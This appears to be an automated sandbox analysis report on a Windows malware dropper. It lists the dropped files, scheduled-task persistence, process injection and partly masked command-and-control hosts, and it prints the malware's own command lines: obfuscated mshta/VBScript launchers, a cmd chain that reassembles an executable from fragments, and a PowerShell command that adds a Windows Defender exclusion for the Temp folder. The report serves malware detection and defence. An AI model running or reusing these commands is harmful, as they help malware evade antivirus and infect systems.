Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\firefox default browser agent 95711f7cf63bd6ef
Malicious functions
Executes the following
- '<SYSTEM32>\taskkill.exe' /F -Im "Fri1434b74af36.exe"
- '<SYSTEM32>\taskkill.exe' /im "Fri14e8398503.exe" /f
Injects code into
the following user processes:
- fri1484990fee93c2f8e.exe
Modifies file system
Creates the following files
- %TEMP%\nsa1d7f.tmp
- %APPDATA%\euwsuew
- %APPDATA%\6321309.scr
- %TEMP%\r6f7se.i
- %TEMP%\scmeap.su
- %TEMP%\chrome 5.exe
- %TEMP%\lzmwaqmv.exe
- %TEMP%\ykifdqa.1
- %TEMP%\7tcinejp.0
- %TEMP%\guvil5.sch
- %TEMP%\20l2vno.2
- %TEMP%\09xu.exe
- %TEMP%\7zscfbef41e\setup_install.exe
- %TEMP%\7zscfbef41e\libwinpthread-1.dll
- %TEMP%\7zscfbef41e\libstdc++-6.dll
- %APPDATA%\4890914.scr
- %TEMP%\7zscfbef41e\libgcc_s_dw2-1.dll
- %TEMP%\7zscfbef41e\libcurl.dll
- %TEMP%\7zscfbef41e\fri14fc548bbfdb093c.exe
- %TEMP%\7zscfbef41e\fri14e8398503.exe
- %TEMP%\7zscfbef41e\fri14af1adda7.exe
- %TEMP%\7zscfbef41e\fri14a6f32b92b4d905.exe
- %TEMP%\7zscfbef41e\fri148ab4e7c687c2e61.exe
- %TEMP%\7zscfbef41e\fri148a7b41dd4e434.exe
- %TEMP%\7zscfbef41e\fri14869fa338025f0fc.exe
- %TEMP%\7zscfbef41e\fri1484990fee93c2f8e.exe
- %TEMP%\7zscfbef41e\fri1465a48b4eaed.exe
- %TEMP%\7zscfbef41e\fri1434b74af36.exe
- %TEMP%\7zscfbef41e\fri1428082e2a9.exe
- %TEMP%\7zscfbef41e\fri140015c14bc2a843b.exe
- %TEMP%\setup_installer.exe
- %TEMP%\7zscfbef41e\libcurlpp.dll
- %APPDATA%\6605949.scr
Sets the 'hidden' attribute to the following files
- %APPDATA%\euwsuew
Deletes the following files
- %TEMP%\7zscfbef41e\fri140015c14bc2a843b.exe
- %TEMP%\7zscfbef41e\fri14e8398503.exe
Network activity
Connects to
- 'localhost':49164
- 'im###n.online':80
- 'ni###nnbest.me':443
- '91.##1.67.60':2151
- '13#.#81.129.119':4805
- 't.###amec.com':443
- 'ma#.to':443
- 'im##in.club':80
- 'li###ncode.com':443
- 'cd#.##scordapp.com':80
- 'gg##cl.biz':80
- '37.#.8.119':80
- '45.##3.1.182':80
- 'hs##ns.xyz':80
- 'localhost':49166
- 'cd#.##scordapp.com':443
- 'ip###ger.org':443
TCP
HTTP GET requests
- http://hs##ns.xyz/addInstall.php?ke##############################################################################################################################################################...
- http://45.##3.1.182/proxies.txt
- http://37.#.8.119/base/api/statistics.php
- http://gg##cl.biz/stats/1.php?pu#########
- http://gg##cl.biz/check.php?pu########
- http://im###n.online/
- http://im##in.club/
Other
- 'localhost':49164
- 'localhost':49166
- 'localhost':49167
- 'cd#.##scordapp.com':80
- 'cd#.##scordapp.com':443
- 'ma#.to':443
- 'li###ncode.com':443
- 't.###amec.com':443
- '91.##1.67.60':2151
- '13#.#81.129.119':4805
- 'ni###nnbest.me':443
- 'ip###ger.org':443
UDP
- DNS ASK hs##ns.xyz
- DNS ASK gg##cl.biz
- DNS ASK cd#.##scordapp.com
- DNS ASK li###ncode.com
- DNS ASK ma#.to
- DNS ASK t.###amec.com
- DNS ASK to#####annpickshop.cc
- DNS ASK ni###nnbest.me
- DNS ASK im###n.online
- DNS ASK im##in.club
- DNS ASK gm###ple.com
- DNS ASK ip###ger.org
Miscellaneous
Searches for the following windows
- ClassName: 'ConsoleWindowClass' WindowName: ''
- ClassName: 'EDIT' WindowName: ''
- ClassName: '' WindowName: ''
Creates and executes the following
- '%TEMP%\setup_installer.exe'
- '%TEMP%\7zscfbef41e\fri1434b74af36.exe'
- '%TEMP%\lzmwaqmv.exe'
- '%APPDATA%\4890914.scr' /S
- '%APPDATA%\6605949.scr' /S
- '%TEMP%\7zscfbef41e\fri1465a48b4eaed.exe'
- '%TEMP%\7zscfbef41e\fri140015c14bc2a843b.exe'
- '%TEMP%\7zscfbef41e\fri14af1adda7.exe'
- '%TEMP%\7zscfbef41e\fri14fc548bbfdb093c.exe'
- '%TEMP%\09xu.exe' -pPtzyIkqLZoCarb5ew
- '%TEMP%\7zscfbef41e\fri14a6f32b92b4d905.exe'
- '%TEMP%\7zscfbef41e\fri148a7b41dd4e434.exe'
- '%TEMP%\7zscfbef41e\fri14e8398503.exe' /mixone
- '%TEMP%\7zscfbef41e\fri148ab4e7c687c2e61.exe'
- '%TEMP%\7zscfbef41e\setup_install.exe'
- '%TEMP%\7zscfbef41e\fri1428082e2a9.exe'
- '%APPDATA%\6321309.scr' /S
- '%TEMP%\7zscfbef41e\fri1484990fee93c2f8e.exe'
- '<SYSTEM32>\rundll32.exe' Shell32.dll,Control_RunDLL .\R6f7sE.I' (with hidden window)
- '%APPDATA%\6605949.scr' /S' (with hidden window)
- '%APPDATA%\4890914.scr' /S' (with hidden window)
- '%APPDATA%\6321309.scr' /S' (with hidden window)
- '%APPDATA%\8868826.scr' /S' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c copy /y "%TEMP%\09xU.exE" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "%TEMP%\09xU.exE" ) do ...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /im "Fri14e8398503.exe" /f & erase "%TEMP%\7zSCFBEF41E\Fri14e8398503.exe" & exit' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c copy /y "%TEMP%\7zSCFBEF41E\Fri1434b74af36.exe" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "%TEMP%\7zSCFBEF41E\Fri1434b7...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART con...' (with hidden window)
- '%APPDATA%\5919139.scr' /S' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "%LOCALAPPDATA%\Temp"
- '<SYSTEM32>\cmd.exe' /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
- '<SYSTEM32>\cmd.exe' /S /D /c" eCHO "
- '<SYSTEM32>\cmd.exe' /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART con...
- '<SYSTEM32>\mshta.exe' vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & Co...
- '<SYSTEM32>\cmd.exe' /c copy /y "%TEMP%\09xU.exE" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "%TEMP%\09xU.exE" ) do ...
- '<SYSTEM32>\mshta.exe' VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""%TEMP%\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew ...
- '<SYSTEM32>\cmd.exe' /c taskkill /im "Fri14e8398503.exe" /f & erase "%TEMP%\7zSCFBEF41E\Fri14e8398503.exe" & exit
- '<SYSTEM32>\cmd.exe' /c copy /y "%TEMP%\7zSCFBEF41E\Fri1434b74af36.exe" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "%TEMP%\7zSCFBEF41E\Fri1434b7...
- '<SYSTEM32>\mshta.exe' VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""%TEMP%\7zSCFBEF41E\Fri1434b74af36.exe"" 09xU.exE && STarT 09xU.EXE ...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "%LOCALAPPDATA%\Temp"
- '<SYSTEM32>\control.exe' .\R6f7sE.I
- '<SYSTEM32>\cmd.exe' /c Fri140015c14bc2a843b.exe
- '<SYSTEM32>\cmd.exe' /c Fri14af1adda7.exe
- '<SYSTEM32>\cmd.exe' /c Fri14869fa338025f0fc.exe
- '<SYSTEM32>\cmd.exe' /c Fri1428082e2a9.exe
- '<SYSTEM32>\cmd.exe' /c Fri1465a48b4eaed.exe
- '<SYSTEM32>\cmd.exe' /c Fri1484990fee93c2f8e.exe
- '<SYSTEM32>\cmd.exe' /c Fri14a6f32b92b4d905.exe
- '<SYSTEM32>\cmd.exe' /c Fri148a7b41dd4e434.exe
- '<SYSTEM32>\cmd.exe' /c Fri14e8398503.exe /mixone
- '<SYSTEM32>\cmd.exe' /c Fri14fc548bbfdb093c.exe
- '<SYSTEM32>\cmd.exe' /c Fri148ab4e7c687c2e61.exe
- '<SYSTEM32>\cmd.exe' /c Fri1434b74af36.exe
- '<SYSTEM32>\rundll32.exe' Shell32.dll,Control_RunDLL .\R6f7sE.I
